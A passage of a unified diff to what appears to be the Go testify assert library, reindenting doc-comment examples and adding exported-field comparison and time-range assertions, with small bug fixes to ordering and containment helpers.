@@ -484,10 +538,10 @@ func NoDirExistsf(t TestingT, path string, msg string, args ...interface{}) bool
|
||||
|
||||
// NoErrorf asserts that a function returned no error (i.e. `nil`).
|
||||
//
|
||||
// actualObj, err := SomeFunction()
|
||||
// if assert.NoErrorf(t, err, "error message %s", "formatted") {
|
||||
// assert.Equal(t, expectedObj, actualObj)
|
||||
// }
|
||||
// actualObj, err := SomeFunction()
|
||||
// if assert.NoErrorf(t, err, "error message %s", "formatted") {
|
||||
// assert.Equal(t, expectedObj, actualObj)
|
||||
// }
|
||||
func NoErrorf(t TestingT, err error, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -507,9 +561,9 @@ func NoFileExistsf(t TestingT, path string, msg string, args ...interface{}) boo
|
||||
// NotContainsf asserts that the specified string, list(array, slice...) or map does NOT contain the
|
||||
// specified substring or element.
|
||||
//
|
||||
// assert.NotContainsf(t, "Hello World", "Earth", "error message %s", "formatted")
|
||||
// assert.NotContainsf(t, ["Hello", "World"], "Earth", "error message %s", "formatted")
|
||||
// assert.NotContainsf(t, {"Hello": "World"}, "Earth", "error message %s", "formatted")
|
||||
// assert.NotContainsf(t, "Hello World", "Earth", "error message %s", "formatted")
|
||||
// assert.NotContainsf(t, ["Hello", "World"], "Earth", "error message %s", "formatted")
|
||||
// assert.NotContainsf(t, {"Hello": "World"}, "Earth", "error message %s", "formatted")
|
||||
func NotContainsf(t TestingT, s interface{}, contains interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -520,9 +574,9 @@ func NotContainsf(t TestingT, s interface{}, contains interface{}, msg string, a
|
||||
// NotEmptyf asserts that the specified object is NOT empty. I.e. not nil, "", false, 0 or either
|
||||
// a slice or a channel with len == 0.
|
||||
//
|
||||
// if assert.NotEmptyf(t, obj, "error message %s", "formatted") {
|
||||
// assert.Equal(t, "two", obj[1])
|
||||
// }
|
||||
// if assert.NotEmptyf(t, obj, "error message %s", "formatted") {
|
||||
// assert.Equal(t, "two", obj[1])
|
||||
// }
|
||||
func NotEmptyf(t TestingT, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -532,7 +586,7 @@ func NotEmptyf(t TestingT, object interface{}, msg string, args ...interface{})
|
||||
|
||||
// NotEqualf asserts that the specified values are NOT equal.
|
||||
//
|
||||
// assert.NotEqualf(t, obj1, obj2, "error message %s", "formatted")
|
||||
// assert.NotEqualf(t, obj1, obj2, "error message %s", "formatted")
|
||||
//
|
||||
// Pointer variable equality is determined based on the equality of the
|
||||
// referenced values (as opposed to the memory addresses).
|
||||
@@ -545,7 +599,7 @@ func NotEqualf(t TestingT, expected interface{}, actual interface{}, msg string,
|
||||
|
||||
// NotEqualValuesf asserts that two objects are not equal even when converted to the same type
|
||||
//
|
||||
// assert.NotEqualValuesf(t, obj1, obj2, "error message %s", "formatted")
|
||||
// assert.NotEqualValuesf(t, obj1, obj2, "error message %s", "formatted")
|
||||
func NotEqualValuesf(t TestingT, expected interface{}, actual interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -564,7 +618,7 @@ func NotErrorIsf(t TestingT, err error, target error, msg string, args ...interf
|
||||
|
||||
// NotNilf asserts that the specified object is not nil.
|
||||
//
|
||||
// assert.NotNilf(t, err, "error message %s", "formatted")
|
||||
// assert.NotNilf(t, err, "error message %s", "formatted")
|
||||
func NotNilf(t TestingT, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -574,7 +628,7 @@ func NotNilf(t TestingT, object interface{}, msg string, args ...interface{}) bo
|
||||
|
||||
// NotPanicsf asserts that the code inside the specified PanicTestFunc does NOT panic.
|
||||
//
|
||||
// assert.NotPanicsf(t, func(){ RemainCalm() }, "error message %s", "formatted")
|
||||
// assert.NotPanicsf(t, func(){ RemainCalm() }, "error message %s", "formatted")
|
||||
func NotPanicsf(t TestingT, f PanicTestFunc, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -584,8 +638,8 @@ func NotPanicsf(t TestingT, f PanicTestFunc, msg string, args ...interface{}) bo
|
||||
|
||||
// NotRegexpf asserts that a specified regexp does not match a string.
|
||||
//
|
||||
// assert.NotRegexpf(t, regexp.MustCompile("starts"), "it's starting", "error message %s", "formatted")
|
||||
// assert.NotRegexpf(t, "^start", "it's not starting", "error message %s", "formatted")
|
||||
// assert.NotRegexpf(t, regexp.MustCompile("starts"), "it's starting", "error message %s", "formatted")
|
||||
// assert.NotRegexpf(t, "^start", "it's not starting", "error message %s", "formatted")
|
||||
func NotRegexpf(t TestingT, rx interface{}, str interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -595,7 +649,7 @@ func NotRegexpf(t TestingT, rx interface{}, str interface{}, msg string, args ..
|
||||
|
||||
// NotSamef asserts that two pointers do not reference the same object.
|
||||
//
|
||||
// assert.NotSamef(t, ptr1, ptr2, "error message %s", "formatted")
|
||||
// assert.NotSamef(t, ptr1, ptr2, "error message %s", "formatted")
|
||||
//
|
||||
// Both arguments must be pointer variables. Pointer variable sameness is
|
||||
// determined based on the equality of both type and value.
|
||||
@@ -609,7 +663,7 @@ func NotSamef(t TestingT, expected interface{}, actual interface{}, msg string,
|
||||
// NotSubsetf asserts that the specified list(array, slice...) contains not all
|
||||
// elements given in the specified subset(array, slice...).
|
||||
//
|
||||
// assert.NotSubsetf(t, [1, 3, 4], [1, 2], "But [1, 3, 4] does not contain [1, 2]", "error message %s", "formatted")
|
||||
// assert.NotSubsetf(t, [1, 3, 4], [1, 2], "But [1, 3, 4] does not contain [1, 2]", "error message %s", "formatted")
|
||||
func NotSubsetf(t TestingT, list interface{}, subset interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -627,7 +681,7 @@ func NotZerof(t TestingT, i interface{}, msg string, args ...interface{}) bool {
|
||||
|
||||
// Panicsf asserts that the code inside the specified PanicTestFunc panics.
|
||||
//
|
||||
// assert.Panicsf(t, func(){ GoCrazy() }, "error message %s", "formatted")
|
||||
// assert.Panicsf(t, func(){ GoCrazy() }, "error message %s", "formatted")
|
||||
func Panicsf(t TestingT, f PanicTestFunc, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -639,7 +693,7 @@ func Panicsf(t TestingT, f PanicTestFunc, msg string, args ...interface{}) bool
|
||||
// panics, and that the recovered panic value is an error that satisfies the
|
||||
// EqualError comparison.
|
||||
//
|
||||
// assert.PanicsWithErrorf(t, "crazy error", func(){ GoCrazy() }, "error message %s", "formatted")
|
||||
// assert.PanicsWithErrorf(t, "crazy error", func(){ GoCrazy() }, "error message %s", "formatted")
|
||||
func PanicsWithErrorf(t TestingT, errString string, f PanicTestFunc, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -650,7 +704,7 @@ func PanicsWithErrorf(t TestingT, errString string, f PanicTestFunc, msg string,
|
||||
// PanicsWithValuef asserts that the code inside the specified PanicTestFunc panics, and that
|
||||
// the recovered panic value equals the expected panic value.
|
||||
//
|
||||
// assert.PanicsWithValuef(t, "crazy error", func(){ GoCrazy() }, "error message %s", "formatted")
|
||||
// assert.PanicsWithValuef(t, "crazy error", func(){ GoCrazy() }, "error message %s", "formatted")
|
||||
func PanicsWithValuef(t TestingT, expected interface{}, f PanicTestFunc, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -660,8 +714,8 @@ func PanicsWithValuef(t TestingT, expected interface{}, f PanicTestFunc, msg str
|
||||
|
||||
// Positivef asserts that the specified element is positive
|
||||
//
|
||||
// assert.Positivef(t, 1, "error message %s", "formatted")
|
||||
// assert.Positivef(t, 1.23, "error message %s", "formatted")
|
||||
// assert.Positivef(t, 1, "error message %s", "formatted")
|
||||
// assert.Positivef(t, 1.23, "error message %s", "formatted")
|
||||
func Positivef(t TestingT, e interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -671,8 +725,8 @@ func Positivef(t TestingT, e interface{}, msg string, args ...interface{}) bool
|
||||
|
||||
// Regexpf asserts that a specified regexp matches a string.
|
||||
//
|
||||
// assert.Regexpf(t, regexp.MustCompile("start"), "it's starting", "error message %s", "formatted")
|
||||
// assert.Regexpf(t, "start...$", "it's not starting", "error message %s", "formatted")
|
||||
// assert.Regexpf(t, regexp.MustCompile("start"), "it's starting", "error message %s", "formatted")
|
||||
// assert.Regexpf(t, "start...$", "it's not starting", "error message %s", "formatted")
|
||||
func Regexpf(t TestingT, rx interface{}, str interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -682,7 +736,7 @@ func Regexpf(t TestingT, rx interface{}, str interface{}, msg string, args ...in
|
||||
|
||||
// Samef asserts that two pointers reference the same object.
|
||||
//
|
||||
// assert.Samef(t, ptr1, ptr2, "error message %s", "formatted")
|
||||
// assert.Samef(t, ptr1, ptr2, "error message %s", "formatted")
|
||||
//
|
||||
// Both arguments must be pointer variables. Pointer variable sameness is
|
||||
// determined based on the equality of both type and value.
|
||||
@@ -696,7 +750,7 @@ func Samef(t TestingT, expected interface{}, actual interface{}, msg string, arg
|
||||
// Subsetf asserts that the specified list(array, slice...) contains all
|
||||
// elements given in the specified subset(array, slice...).
|
||||
//
|
||||
// assert.Subsetf(t, [1, 2, 3], [1, 2], "But [1, 2, 3] does contain [1, 2]", "error message %s", "formatted")
|
||||
// assert.Subsetf(t, [1, 2, 3], [1, 2], "But [1, 2, 3] does contain [1, 2]", "error message %s", "formatted")
|
||||
func Subsetf(t TestingT, list interface{}, subset interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -706,7 +760,7 @@ func Subsetf(t TestingT, list interface{}, subset interface{}, msg string, args
|
||||
|
||||
// Truef asserts that the specified value is true.
|
||||
//
|
||||
// assert.Truef(t, myBool, "error message %s", "formatted")
|
||||
// assert.Truef(t, myBool, "error message %s", "formatted")
|
||||
func Truef(t TestingT, value bool, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -716,7 +770,7 @@ func Truef(t TestingT, value bool, msg string, args ...interface{}) bool {
|
||||
|
||||
// WithinDurationf asserts that the two times are within duration delta of each other.
|
||||
//
|
||||
// assert.WithinDurationf(t, time.Now(), time.Now(), 10*time.Second, "error message %s", "formatted")
|
||||
// assert.WithinDurationf(t, time.Now(), time.Now(), 10*time.Second, "error message %s", "formatted")
|
||||
func WithinDurationf(t TestingT, expected time.Time, actual time.Time, delta time.Duration, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -724,6 +778,16 @@ func WithinDurationf(t TestingT, expected time.Time, actual time.Time, delta tim
|
||||
return WithinDuration(t, expected, actual, delta, append([]interface{}{msg}, args...)...)
|
||||
}
|
||||
|
||||
// WithinRangef asserts that a time is within a time range (inclusive).
|
||||
//
|
||||
// assert.WithinRangef(t, time.Now(), time.Now().Add(-time.Second), time.Now().Add(time.Second), "error message %s", "formatted")
|
||||
func WithinRangef(t TestingT, actual time.Time, start time.Time, end time.Time, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
return WithinRange(t, actual, start, end, append([]interface{}{msg}, args...)...)
|
||||
}
|
||||
|
||||
// YAMLEqf asserts that two YAML strings are equivalent.
|
||||
func YAMLEqf(t TestingT, expected string, actual string, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
|
||||
+296
-168
File diff suppressed because it is too large.
Load diff
+16
-16
@@ -46,36 +46,36 @@ func isOrdered(t TestingT, object interface{}, allowedComparesResults []CompareT
|
||||
|
||||
// IsIncreasing asserts that the collection is increasing
|
||||
//
|
||||
// assert.IsIncreasing(t, []int{1, 2, 3})
|
||||
// assert.IsIncreasing(t, []float{1, 2})
|
||||
// assert.IsIncreasing(t, []string{"a", "b"})
|
||||
// assert.IsIncreasing(t, []int{1, 2, 3})
|
||||
// assert.IsIncreasing(t, []float{1, 2})
|
||||
// assert.IsIncreasing(t, []string{"a", "b"})
|
||||
func IsIncreasing(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
return isOrdered(t, object, []CompareType{compareLess}, "\"%v\" is not less than \"%v\"", msgAndArgs)
|
||||
return isOrdered(t, object, []CompareType{compareLess}, "\"%v\" is not less than \"%v\"", msgAndArgs...)
|
||||
}
|
||||
|
||||
// IsNonIncreasing asserts that the collection is not increasing
|
||||
//
|
||||
// assert.IsNonIncreasing(t, []int{2, 1, 1})
|
||||
// assert.IsNonIncreasing(t, []float{2, 1})
|
||||
// assert.IsNonIncreasing(t, []string{"b", "a"})
|
||||
// assert.IsNonIncreasing(t, []int{2, 1, 1})
|
||||
// assert.IsNonIncreasing(t, []float{2, 1})
|
||||
// assert.IsNonIncreasing(t, []string{"b", "a"})
|
||||
func IsNonIncreasing(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
return isOrdered(t, object, []CompareType{compareEqual, compareGreater}, "\"%v\" is not greater than or equal to \"%v\"", msgAndArgs)
|
||||
return isOrdered(t, object, []CompareType{compareEqual, compareGreater}, "\"%v\" is not greater than or equal to \"%v\"", msgAndArgs...)
|
||||
}
|
||||
|
||||
// IsDecreasing asserts that the collection is decreasing
|
||||
//
|
||||
// assert.IsDecreasing(t, []int{2, 1, 0})
|
||||
// assert.IsDecreasing(t, []float{2, 1})
|
||||
// assert.IsDecreasing(t, []string{"b", "a"})
|
||||
// assert.IsDecreasing(t, []int{2, 1, 0})
|
||||
// assert.IsDecreasing(t, []float{2, 1})
|
||||
// assert.IsDecreasing(t, []string{"b", "a"})
|
||||
func IsDecreasing(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
return isOrdered(t, object, []CompareType{compareGreater}, "\"%v\" is not greater than \"%v\"", msgAndArgs)
|
||||
return isOrdered(t, object, []CompareType{compareGreater}, "\"%v\" is not greater than \"%v\"", msgAndArgs...)
|
||||
}
|
||||
|
||||
// IsNonDecreasing asserts that the collection is not decreasing
|
||||
//
|
||||
// assert.IsNonDecreasing(t, []int{1, 1, 2})
|
||||
// assert.IsNonDecreasing(t, []float{1, 2})
|
||||
// assert.IsNonDecreasing(t, []string{"a", "b"})
|
||||
// assert.IsNonDecreasing(t, []int{1, 1, 2})
|
||||
// assert.IsNonDecreasing(t, []float{1, 2})
|
||||
// assert.IsNonDecreasing(t, []string{"a", "b"})
|
||||
func IsNonDecreasing(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
return isOrdered(t, object, []CompareType{compareLess, compareEqual}, "\"%v\" is not less than or equal to \"%v\"", msgAndArgs)
|
||||
return isOrdered(t, object, []CompareType{compareLess, compareEqual}, "\"%v\" is not less than or equal to \"%v\"", msgAndArgs...)
|
||||
}
|
||||
+403
-123
@@ -75,6 +75,77 @@ func ObjectsAreEqual(expected, actual interface{}) bool {
|
||||
return bytes.Equal(exp, act)
|
||||
}
|
||||
|
||||
// copyExportedFields iterates downward through nested data structures and creates a copy
|
||||
// that only contains the exported struct fields.
|
||||
func copyExportedFields(expected interface{}) interface{} {
|
||||
if isNil(expected) {
|
||||
return expected
|
||||
}
|
||||
|
||||
expectedType := reflect.TypeOf(expected)
|
||||
expectedKind := expectedType.Kind()
|
||||
expectedValue := reflect.ValueOf(expected)
|
||||
|
||||
switch expectedKind {
|
||||
case reflect.Struct:
|
||||
result := reflect.New(expectedType).Elem()
|
||||
for i := 0; i < expectedType.NumField(); i++ {
|
||||
field := expectedType.Field(i)
|
||||
isExported := field.IsExported()
|
||||
if isExported {
|
||||
fieldValue := expectedValue.Field(i)
|
||||
if isNil(fieldValue) || isNil(fieldValue.Interface()) {
|
||||
continue
|
||||
}
|
||||
newValue := copyExportedFields(fieldValue.Interface())
|
||||
result.Field(i).Set(reflect.ValueOf(newValue))
|
||||
}
|
||||
}
|
||||
return result.Interface()
|
||||
|
||||
case reflect.Ptr:
|
||||
result := reflect.New(expectedType.Elem())
|
||||
unexportedRemoved := copyExportedFields(expectedValue.Elem().Interface())
|
||||
result.Elem().Set(reflect.ValueOf(unexportedRemoved))
|
||||
return result.Interface()
|
||||
|
||||
case reflect.Array, reflect.Slice:
|
||||
result := reflect.MakeSlice(expectedType, expectedValue.Len(), expectedValue.Len())
|
||||
for i := 0; i < expectedValue.Len(); i++ {
|
||||
index := expectedValue.Index(i)
|
||||
if isNil(index) {
|
||||
continue
|
||||
}
|
||||
unexportedRemoved := copyExportedFields(index.Interface())
|
||||
result.Index(i).Set(reflect.ValueOf(unexportedRemoved))
|
||||
}
|
||||
return result.Interface()
|
||||
|
||||
case reflect.Map:
|
||||
result := reflect.MakeMap(expectedType)
|
||||
for _, k := range expectedValue.MapKeys() {
|
||||
index := expectedValue.MapIndex(k)
|
||||
unexportedRemoved := copyExportedFields(index.Interface())
|
||||
result.SetMapIndex(k, reflect.ValueOf(unexportedRemoved))
|
||||
}
|
||||
return result.Interface()
|
||||
|
||||
default:
|
||||
return expected
|
||||
}
|
||||
}
|
||||
|
||||
// ObjectsExportedFieldsAreEqual determines if the exported (public) fields of two objects are
|
||||
// considered equal. This comparison of only exported fields is applied recursively to nested data
|
||||
// structures.
|
||||
//
|
||||
// This function does no assertion of any kind.
|
||||
func ObjectsExportedFieldsAreEqual(expected, actual interface{}) bool {
|
||||
expectedCleaned := copyExportedFields(expected)
|
||||
actualCleaned := copyExportedFields(actual)
|
||||
return ObjectsAreEqualValues(expectedCleaned, actualCleaned)
|
||||
}
|
||||
|
||||
// ObjectsAreEqualValues gets whether two objects are equal, or if their
|
||||
// values are equal.
|
||||
func ObjectsAreEqualValues(expected, actual interface{}) bool {
|
||||
@@ -140,10 +211,10 @@ func CallerInfo() []string {
|
||||
}
|
||||
|
||||
parts := strings.Split(file, "/")
|
||||
file = parts[len(parts)-1]
|
||||
if len(parts) > 1 {
|
||||
filename := parts[len(parts)-1]
|
||||
dir := parts[len(parts)-2]
|
||||
if (dir != "assert" && dir != "mock" && dir != "require") || file == "mock_test.go" {
|
||||
if (dir != "assert" && dir != "mock" && dir != "require") || filename == "mock_test.go" {
|
||||
callers = append(callers, fmt.Sprintf("%s:%d", file, line))
|
||||
}
|
||||
}
|
||||
@@ -271,7 +342,7 @@ type labeledContent struct {
|
||||
|
||||
// labeledOutput returns a string consisting of the provided labeledContent. Each labeled output is appended in the following manner:
|
||||
//
|
||||
// \t{{label}}:{{align_spaces}}\t{{content}}\n
|
||||
// \t{{label}}:{{align_spaces}}\t{{content}}\n
|
||||
//
|
||||
// The initial carriage return is required to undo/erase any padding added by testing.T.Errorf. The "\t{{label}}:" is for the label.
|
||||
// If a label is shorter than the longest label provided, padding spaces are added to make all the labels match in length. Once this
|
||||
@@ -294,7 +365,7 @@ func labeledOutput(content ...labeledContent) string {
|
||||
|
||||
// Implements asserts that an object is implemented by the specified interface.
|
||||
//
|
||||
// assert.Implements(t, (*MyInterface)(nil), new(MyObject))
|
||||
// assert.Implements(t, (*MyInterface)(nil), new(MyObject))
|
||||
func Implements(t TestingT, interfaceObject interface{}, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -326,7 +397,7 @@ func IsType(t TestingT, expectedType interface{}, object interface{}, msgAndArgs
|
||||
|
||||
// Equal asserts that two objects are equal.
|
||||
//
|
||||
// assert.Equal(t, 123, 123)
|
||||
// assert.Equal(t, 123, 123)
|
||||
//
|
||||
// Pointer variable equality is determined based on the equality of the
|
||||
// referenced values (as opposed to the memory addresses). Function equality
|
||||
@@ -367,7 +438,7 @@ func validateEqualArgs(expected, actual interface{}) error {
|
||||
|
||||
// Same asserts that two pointers reference the same object.
|
||||
//
|
||||
// assert.Same(t, ptr1, ptr2)
|
||||
// assert.Same(t, ptr1, ptr2)
|
||||
//
|
||||
// Both arguments must be pointer variables. Pointer variable sameness is
|
||||
// determined based on the equality of both type and value.
|
||||
@@ -387,7 +458,7 @@ func Same(t TestingT, expected, actual interface{}, msgAndArgs ...interface{}) b
|
||||
|
||||
// NotSame asserts that two pointers do not reference the same object.
|
||||
//
|
||||
// assert.NotSame(t, ptr1, ptr2)
|
||||
// assert.NotSame(t, ptr1, ptr2)
|
||||
//
|
||||
// Both arguments must be pointer variables. Pointer variable sameness is
|
||||
// determined based on the equality of both type and value.
|
||||
@@ -455,7 +526,7 @@ func truncatingFormat(data interface{}) string {
|
||||
// EqualValues asserts that two objects are equal or convertable to the same types
|
||||
// and equal.
|
||||
//
|
||||
// assert.EqualValues(t, uint32(123), int32(123))
|
||||
// assert.EqualValues(t, uint32(123), int32(123))
|
||||
func EqualValues(t TestingT, expected, actual interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -473,9 +544,53 @@ func EqualValues(t TestingT, expected, actual interface{}, msgAndArgs ...interfa
|
||||
|
||||
}
|
||||
|
||||
// EqualExportedValues asserts that the types of two objects are equal and their public
|
||||
// fields are also equal. This is useful for comparing structs that have private fields
|
||||
// that could potentially differ.
|
||||
//
|
||||
// type S struct {
|
||||
// Exported int
|
||||
// notExported int
|
||||
// }
|
||||
// assert.EqualExportedValues(t, S{1, 2}, S{1, 3}) => true
|
||||
// assert.EqualExportedValues(t, S{1, 2}, S{2, 3}) => false
|
||||
func EqualExportedValues(t TestingT, expected, actual interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
|
||||
aType := reflect.TypeOf(expected)
|
||||
bType := reflect.TypeOf(actual)
|
||||
|
||||
if aType != bType {
|
||||
return Fail(t, fmt.Sprintf("Types expected to match exactly\n\t%v != %v", aType, bType), msgAndArgs...)
|
||||
}
|
||||
|
||||
if aType.Kind() != reflect.Struct {
|
||||
return Fail(t, fmt.Sprintf("Types expected to both be struct \n\t%v != %v", aType.Kind(), reflect.Struct), msgAndArgs...)
|
||||
}
|
||||
|
||||
if bType.Kind() != reflect.Struct {
|
||||
return Fail(t, fmt.Sprintf("Types expected to both be struct \n\t%v != %v", bType.Kind(), reflect.Struct), msgAndArgs...)
|
||||
}
|
||||
|
||||
expected = copyExportedFields(expected)
|
||||
actual = copyExportedFields(actual)
|
||||
|
||||
if !ObjectsAreEqualValues(expected, actual) {
|
||||
diff := diff(expected, actual)
|
||||
expected, actual = formatUnequalValues(expected, actual)
|
||||
return Fail(t, fmt.Sprintf("Not equal (comparing only exported fields): \n"+
|
||||
"expected: %s\n"+
|
||||
"actual : %s%s", expected, actual, diff), msgAndArgs...)
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
// Exactly asserts that two objects are equal in value and type.
|
||||
//
|
||||
// assert.Exactly(t, int32(123), int64(123))
|
||||
// assert.Exactly(t, int32(123), int64(123))
|
||||
func Exactly(t TestingT, expected, actual interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -494,7 +609,7 @@ func Exactly(t TestingT, expected, actual interface{}, msgAndArgs ...interface{}
|
||||
|
||||
// NotNil asserts that the specified object is not nil.
|
||||
//
|
||||
// assert.NotNil(t, err)
|
||||
// assert.NotNil(t, err)
|
||||
func NotNil(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
if !isNil(object) {
|
||||
return true
|
||||
@@ -528,7 +643,7 @@ func isNil(object interface{}) bool {
|
||||
[]reflect.Kind{
|
||||
reflect.Chan, reflect.Func,
|
||||
reflect.Interface, reflect.Map,
|
||||
reflect.Ptr, reflect.Slice},
|
||||
reflect.Ptr, reflect.Slice, reflect.UnsafePointer},
|
||||
kind)
|
||||
|
||||
if isNilableKind && value.IsNil() {
|
||||
@@ -540,7 +655,7 @@ func isNil(object interface{}) bool {
|
||||
|
||||
// Nil asserts that the specified object is nil.
|
||||
//
|
||||
// assert.Nil(t, err)
|
||||
// assert.Nil(t, err)
|
||||
func Nil(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
if isNil(object) {
|
||||
return true
|
||||
@@ -563,16 +678,17 @@ func isEmpty(object interface{}) bool {
|
||||
|
||||
switch objValue.Kind() {
|
||||
// collection types are empty when they have no element
|
||||
case reflect.Array, reflect.Chan, reflect.Map, reflect.Slice:
|
||||
case reflect.Chan, reflect.Map, reflect.Slice:
|
||||
return objValue.Len() == 0
|
||||
// pointers are empty if nil or if the value they point to is empty
|
||||
// pointers are empty if nil or if the value they point to is empty
|
||||
case reflect.Ptr:
|
||||
if objValue.IsNil() {
|
||||
return true
|
||||
}
|
||||
deref := objValue.Elem().Interface()
|
||||
return isEmpty(deref)
|
||||
// for all other types, compare against the zero value
|
||||
// for all other types, compare against the zero value
|
||||
// array types are empty when they match their zero-initialized state
|
||||
default:
|
||||
zero := reflect.Zero(objValue.Type())
|
||||
return reflect.DeepEqual(object, zero.Interface())
|
||||
@@ -582,7 +698,7 @@ func isEmpty(object interface{}) bool {
|
||||
// Empty asserts that the specified object is empty. I.e. nil, "", false, 0 or either
|
||||
// a slice or a channel with len == 0.
|
||||
//
|
||||
// assert.Empty(t, obj)
|
||||
// assert.Empty(t, obj)
|
||||
func Empty(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
pass := isEmpty(object)
|
||||
if !pass {
|
||||
@@ -599,9 +715,9 @@ func Empty(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
// NotEmpty asserts that the specified object is NOT empty. I.e. not nil, "", false, 0 or either
|
||||
// a slice or a channel with len == 0.
|
||||
//
|
||||
// if assert.NotEmpty(t, obj) {
|
||||
// assert.Equal(t, "two", obj[1])
|
||||
// }
|
||||
// if assert.NotEmpty(t, obj) {
|
||||
// assert.Equal(t, "two", obj[1])
|
||||
// }
|
||||
func NotEmpty(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
pass := !isEmpty(object)
|
||||
if !pass {
|
||||
@@ -630,7 +746,7 @@ func getLen(x interface{}) (ok bool, length int) {
|
||||
// Len asserts that the specified object has specific length.
|
||||
// Len also fails if the object has a type that len() not accept.
|
||||
//
|
||||
// assert.Len(t, mySlice, 3)
|
||||
// assert.Len(t, mySlice, 3)
|
||||
func Len(t TestingT, object interface{}, length int, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -648,7 +764,7 @@ func Len(t TestingT, object interface{}, length int, msgAndArgs ...interface{})
|
||||
|
||||
// True asserts that the specified value is true.
|
||||
//
|
||||
// assert.True(t, myBool)
|
||||
// assert.True(t, myBool)
|
||||
func True(t TestingT, value bool, msgAndArgs ...interface{}) bool {
|
||||
if !value {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
@@ -663,7 +779,7 @@ func True(t TestingT, value bool, msgAndArgs ...interface{}) bool {
|
||||
|
||||
// False asserts that the specified value is false.
|
||||
//
|
||||
// assert.False(t, myBool)
|
||||
// assert.False(t, myBool)
|
||||
func False(t TestingT, value bool, msgAndArgs ...interface{}) bool {
|
||||
if value {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
@@ -678,7 +794,7 @@ func False(t TestingT, value bool, msgAndArgs ...interface{}) bool {
|
||||
|
||||
// NotEqual asserts that the specified values are NOT equal.
|
||||
//
|
||||
// assert.NotEqual(t, obj1, obj2)
|
||||
// assert.NotEqual(t, obj1, obj2)
|
||||
//
|
||||
// Pointer variable equality is determined based on the equality of the
|
||||
// referenced values (as opposed to the memory addresses).
|
||||
@@ -701,7 +817,7 @@ func NotEqual(t TestingT, expected, actual interface{}, msgAndArgs ...interface{
|
||||
|
||||
// NotEqualValues asserts that two objects are not equal even when converted to the same type
|
||||
//
|
||||
// assert.NotEqualValues(t, obj1, obj2)
|
||||
// assert.NotEqualValues(t, obj1, obj2)
|
||||
func NotEqualValues(t TestingT, expected, actual interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -718,10 +834,14 @@ func NotEqualValues(t TestingT, expected, actual interface{}, msgAndArgs ...inte
|
||||
// return (false, false) if impossible.
|
||||
// return (true, false) if element was not found.
|
||||
// return (true, true) if element was found.
|
||||
func includeElement(list interface{}, element interface{}) (ok, found bool) {
|
||||
func containsElement(list interface{}, element interface{}) (ok, found bool) {
|
||||
|
||||
listValue := reflect.ValueOf(list)
|
||||
listKind := reflect.TypeOf(list).Kind()
|
||||
listType := reflect.TypeOf(list)
|
||||
if listType == nil {
|
||||
return false, false
|
||||
}
|
||||
listKind := listType.Kind()
|
||||
defer func() {
|
||||
if e := recover(); e != nil {
|
||||
ok = false
|
||||
@@ -756,15 +876,15 @@ func includeElement(list interface{}, element interface{}) (ok, found bool) {
|
||||
// Contains asserts that the specified string, list(array, slice...) or map contains the
|
||||
// specified substring or element.
|
||||
//
|
||||
// assert.Contains(t, "Hello World", "World")
|
||||
// assert.Contains(t, ["Hello", "World"], "World")
|
||||
